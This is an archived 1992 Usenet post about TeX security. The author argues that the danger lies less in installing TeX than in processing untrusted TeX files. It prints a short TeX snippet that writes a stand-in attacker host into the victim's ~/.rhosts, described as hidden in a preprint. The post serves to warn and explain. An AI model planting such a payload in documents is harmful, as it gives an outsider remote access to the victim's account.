🚀 go-pugleaf

In article <1992Aug13.221040.2123@almserv.uucp>, alufml@purple.fnma.com
(Francois-Michel Lang) writes:
|> 
|> I just received a tape of the Unix TeX distribution from the
|> Northwest Computing Support Center and handed it over to the
|> sysadmin folks at my site for installation.  Now they tell me
|> that they will *not* install it because TeX is public domain
|> software, which is verboten here.  (Why, given this policy,
|> we can still use GNU Emacs is another matter...)

There are several interesting points involved. It has been pointed 
out that the source of TeX (and friends) is available for inspection.
Fine, *provided* you use this source to install it. You wouldn't want
to use someone else's executable binaries, if you are feeling paranoid.
Even using them during the bootstrapping process requires very careful
thought. Of course, we will assume that you have already validated your
Pascal (or that other language) compiler to your high standards.

Almost certainly, the major security problem with TeX in a Unix 
environment (or most others these days, unfortunately) arises from
its use after installation. I advertise that I have some question to 
the ultimate answer about life, the universe, and all that. You eagerly
ask me for a preprint. I offer you some humungous file to (La)TeX.
Hidden away in it is

    \immediate\openout 15 = ~/.rhosts
    \immediate\write 15 {badtown.empire.evil rodent} 
    \immediate\closeout 15

(not in clear, of course). You innocently process this file. 

This is far from being unique to TeX, of course; the same problem
arises with almost any utility that can write to files whose names
can depend non-transparently on the input. Probably the perceived
threat is associated with the idea that the person who is liable to
process random TeX input is more naive than, say, the person who does
the same to perl scripts. 

Chris Thompson
Cambridge University Computing Service
JANET:    cet1@uk.ac.cam.phx
Internet: cet1@phx.cam.ac.uk